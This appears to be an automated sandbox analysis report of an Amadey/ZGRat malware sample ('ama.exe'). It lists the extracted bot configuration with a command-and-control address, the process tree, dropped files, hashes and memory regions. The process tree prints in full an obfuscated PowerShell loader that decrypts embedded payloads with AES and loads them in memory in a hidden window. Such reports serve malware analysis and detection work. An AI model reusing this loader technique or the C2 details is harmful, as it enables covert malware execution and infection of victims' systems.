Analysis

  • max time kernel
    117s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    25/01/2024, 01:59

General

  • Target
    ama.exe
  • Size 4.9MB
  • Sample240125-ced55sdgf9
  • SHA256 cb80f3f8dbdf12c6929acd19d547b1c0278e7b71a4e2bcf232a7776cf1c287df
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • amadey

Version
  • 4.15

C2
  • http://185.172.128.63

Attributes
  • install_dir

    6187fcb526

  • install_file

    Dctooux.exe

  • strings_key

    cd3b2619c9009c441355ae581d53163e

  • url_paths

    /v8sjh3hs8/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Detect ZGRat V1 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 55 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ama.exe
    "C:\Users\Admin\AppData\Local\Temp\ama.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3044
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      2⤵
        PID:2704
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        2⤵
        • Loads dropped DLL
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:2576
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd" "
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1304
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2052
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd';$RfUL='SplstIeistIetstIe'.Replace('stIe', ''),'TrfmgKafmgKnfmgKsfmgKfofmgKrfmgKmFfmgKinafmgKlBfmgKlofmgKckfmgK'.Replace('fmgK', ''),'DecHsSjomHsSjpHsSjrHsSjessHsSj'.Replace('HsSj', ''),'EleBZnKmBZnKeBZnKntBZnKAtBZnK'.Replace('BZnK', ''),'ReGrwradGrwrLiGrwrnGrwreGrwrsGrwr'.Replace('Grwr', ''),'CIOLbopIOLbyIOLbTIOLboIOLb'.Replace('IOLb', ''),'FrpwLNompwLNBapwLNspwLNepwLN6pwLN4SpwLNtpwLNripwLNnpwLNgpwLN'.Replace('pwLN', ''),'LZaAAoZaAAaZaAAdZaAA'.Replace('ZaAA', ''),'IswsYnswsYvokswsYeswsY'.Replace('swsY', ''),'MayHpwinyHpwMoyHpwduyHpwleyHpw'.Replace('yHpw', ''),'EnfcpnnfcptrynfcpPnfcponfcpinnfcptnfcp'.Replace('nfcp', ''),'GKVjZetCKVjZurKVjZrKVjZenKVjZtPrKVjZocKVjZessKVjZ'.Replace('KVjZ', ''),'CmmRYhanmmRYgmmRYeExmmRYtenmmRYsmmRYimmRYonmmRY'.Replace('mmRY', ''),'CrewBkzatwBkzeDwBkzecwBkzrywBkzptwBkzowBkzrwBkz'.Replace('wBkz', '');powershell -w hidden;function HYZRs($YjbML){$FKFbd=[System.Security.Cryptography.Aes]::Create();$FKFbd.Mode=[System.Security.Cryptography.CipherMode]::CBC;$FKFbd.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$FKFbd.Key=[System.Convert]::($RfUL[6])('2M0fT7QfMAGeiJeE2Y8HU5skhkMH0OcAFA0SFzRHVws=');$FKFbd.IV=[System.Convert]::($RfUL[6])('Wv0CCTjoJ02lflet8TKTGg==');$qvWHS=$FKFbd.($RfUL[13])();$UQnTy=$qvWHS.($RfUL[1])($YjbML,0,$YjbML.Length);$qvWHS.Dispose();$FKFbd.Dispose();$UQnTy;}function tsjtk($YjbML){$KLabx=New-Object System.IO.MemoryStream(,$YjbML);$CeqVN=New-Object System.IO.MemoryStream;$OFOrH=New-Object System.IO.Compression.GZipStream($KLabx,[IO.Compression.CompressionMode]::($RfUL[2]));$OFOrH.($RfUL[5])($CeqVN);$OFOrH.Dispose();$KLabx.Dispose();$CeqVN.Dispose();$CeqVN.ToArray();}$xZSiw=[System.IO.File]::($RfUL[4])([Console]::Title);$VwJSg=tsjtk (HYZRs ([Convert]::($RfUL[6])([System.Linq.Enumerable]::($RfUL[3])($xZSiw, 5).Substring(2))));$NGyKN=tsjtk (HYZRs ([Convert]::($RfUL[6])([System.Linq.Enumerable]::($RfUL[3])($xZSiw, 6).Substring(2))));[System.Reflection.Assembly]::($RfUL[7])([byte[]]$NGyKN).($RfUL[10]).($RfUL[8])($null,$null);[System.Reflection.Assembly]::($RfUL[7])([byte[]]$VwJSg).($RfUL[10]).($RfUL[8])($null,$null); "
              5⤵
                PID:1604
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2640
          • C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
            "C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Launches sc.exe
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:2056
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\SysWOW64\cmd.exe
              4⤵
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of WriteProcessMemory
              PID:2248
              • C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
                C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
                5⤵
                • Loads dropped DLL
                • Launches sc.exe
                PID:2440
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3044 -s 736
          2⤵
          • Program crash
          PID:2560

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            DoNothing.cmd

            • Path C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd
            • Size 229KB
            • SHA256 9e9a0c51690263b2ff0f61f96a684725df65eb0ef8cf6fdcf400814f7634dfd1
            • MD5 SHA1 SHA512 SSDEEP

            sc.exe

            • Path C:\Users\Admin\AppData\Local\Temp\1001035001\sc.exe
            • Size 72KB
            • SHA256 c24dae179e840e5b797f924621354dcb38c2992336e8d39150723b7edd312bd0
            • MD5 SHA1 SHA512 SSDEEP

            sc.exe

            • Path C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
            • Size 1.4MB
            • SHA256 c5e71ca1dcfe7975449a25d339036f3720b0b72aa52d8794b024442216487a4d
            • MD5 SHA1 SHA512 SSDEEP

            2b2e2edc

            • Path C:\Users\Admin\AppData\Local\Temp\2b2e2edc
            • Size 1004KB
            • SHA256 196c8b7215b0bc5cdfb86a31d38059ff041fe2770bb6d77dd0f426c42cb587e9
            • MD5 SHA1 SHA512 SSDEEP

            CabCC85.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\CabCC85.tmp
            • Size 65KB
            • SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
            • MD5 SHA1 SHA512 SSDEEP

            TarCCD6.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\TarCCD6.tmp
            • Size 171KB
            • SHA256 4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
            • MD5 SHA1 SHA512 SSDEEP

            Protect544cd51a.dll

            • Path \Users\Admin\AppData\Local\Temp\Protect544cd51a.dll
            • Size 742KB
            • SHA256 dfce2d4d06de6452998b3c5b2dc33eaa6db2bd37810d04e3d02dc931887cfddd
            • MD5 SHA1 SHA512 SSDEEP

            memory/2056-138-0x000000013FF10000-0x000000014006F000-memory.dmp

            memory/2056-140-0x000007FEF6220000-0x000007FEF6378000-memory.dmp

            memory/2056-142-0x000007FEF6220000-0x000007FEF6378000-memory.dmp

            memory/2056-150-0x000007FEF6220000-0x000007FEF6378000-memory.dmp

            memory/2248-156-0x000000006CD30000-0x000000006CEA4000-memory.dmp

            memory/2248-154-0x0000000077350000-0x00000000774F9000-memory.dmp

            memory/2248-161-0x000000006CD30000-0x000000006CEA4000-memory.dmp

            memory/2248-158-0x000000006CD30000-0x000000006CEA4000-memory.dmp

            memory/2440-166-0x000000013FC30000-0x000000013FD8F000-memory.dmp

            memory/2440-165-0x0000000140000000-0x000000014005A000-memory.dmp

            memory/2440-163-0x0000000140000000-0x000000014005A000-memory.dmp

            memory/2576-34-0x0000000000400000-0x000000000046D000-memory.dmp

            memory/2576-137-0x0000000000400000-0x000000000046D000-memory.dmp

            memory/2576-35-0x0000000000400000-0x000000000046D000-memory.dmp

            memory/2576-36-0x0000000000400000-0x000000000046D000-memory.dmp

            memory/2576-30-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

            memory/2576-46-0x0000000000400000-0x000000000046D000-memory.dmp

            memory/2576-54-0x0000000000400000-0x000000000046D000-memory.dmp

            memory/2576-18-0x0000000000400000-0x000000000046D000-memory.dmp

            memory/2576-26-0x0000000000400000-0x000000000046D000-memory.dmp

            memory/2576-122-0x0000000000400000-0x000000000046D000-memory.dmp

            memory/2576-119-0x0000000000400000-0x000000000046D000-memory.dmp

            memory/2576-132-0x0000000000400000-0x000000000046D000-memory.dmp

            memory/2576-20-0x0000000000400000-0x000000000046D000-memory.dmp

            memory/2576-22-0x0000000000400000-0x000000000046D000-memory.dmp

            memory/2576-28-0x0000000000400000-0x000000000046D000-memory.dmp

            memory/2576-24-0x0000000000400000-0x000000000046D000-memory.dmp

            memory/2576-32-0x0000000000400000-0x000000000046D000-memory.dmp

            memory/2640-153-0x000000006FE90000-0x000000007043B000-memory.dmp

            memory/2640-155-0x0000000002660000-0x00000000026A0000-memory.dmp

            memory/2640-107-0x0000000002660000-0x00000000026A0000-memory.dmp

            memory/2640-95-0x000000006FE90000-0x000000007043B000-memory.dmp

            memory/2640-92-0x000000006FE90000-0x000000007043B000-memory.dmp

            memory/3044-16-0x0000000005200000-0x0000000005240000-memory.dmp

            memory/3044-118-0x0000000005200000-0x0000000005240000-memory.dmp

            memory/3044-108-0x0000000005200000-0x0000000005240000-memory.dmp

            memory/3044-109-0x0000000005200000-0x0000000005240000-memory.dmp

            memory/3044-17-0x0000000005200000-0x0000000005240000-memory.dmp

            memory/3044-141-0x0000000005200000-0x0000000005240000-memory.dmp

            memory/3044-15-0x0000000006ED0000-0x0000000006FD0000-memory.dmp

            memory/3044-143-0x0000000005200000-0x0000000005240000-memory.dmp

            memory/3044-144-0x0000000005200000-0x0000000005240000-memory.dmp

            memory/3044-146-0x0000000005200000-0x0000000005240000-memory.dmp

            memory/3044-145-0x0000000005200000-0x0000000005240000-memory.dmp

            memory/3044-147-0x0000000006ED0000-0x0000000006FD0000-memory.dmp

            memory/3044-148-0x0000000005200000-0x0000000005240000-memory.dmp

            memory/3044-149-0x0000000005200000-0x0000000005240000-memory.dmp

            memory/3044-13-0x0000000005200000-0x0000000005240000-memory.dmp

            memory/3044-14-0x0000000005200000-0x0000000005240000-memory.dmp

            memory/3044-12-0x0000000000920000-0x0000000000930000-memory.dmp

            memory/3044-10-0x0000000005200000-0x0000000005240000-memory.dmp

            memory/3044-11-0x0000000005200000-0x0000000005240000-memory.dmp

            memory/3044-5-0x0000000006960000-0x0000000006AF2000-memory.dmp

            memory/3044-4-0x0000000005750000-0x000000000595E000-memory.dmp

            memory/3044-3-0x0000000005200000-0x0000000005240000-memory.dmp

            memory/3044-2-0x0000000074550000-0x0000000074C3E000-memory.dmp

            memory/3044-1-0x0000000074550000-0x0000000074C3E000-memory.dmp

            memory/3044-0-0x0000000000300000-0x00000000007F0000-memory.dmp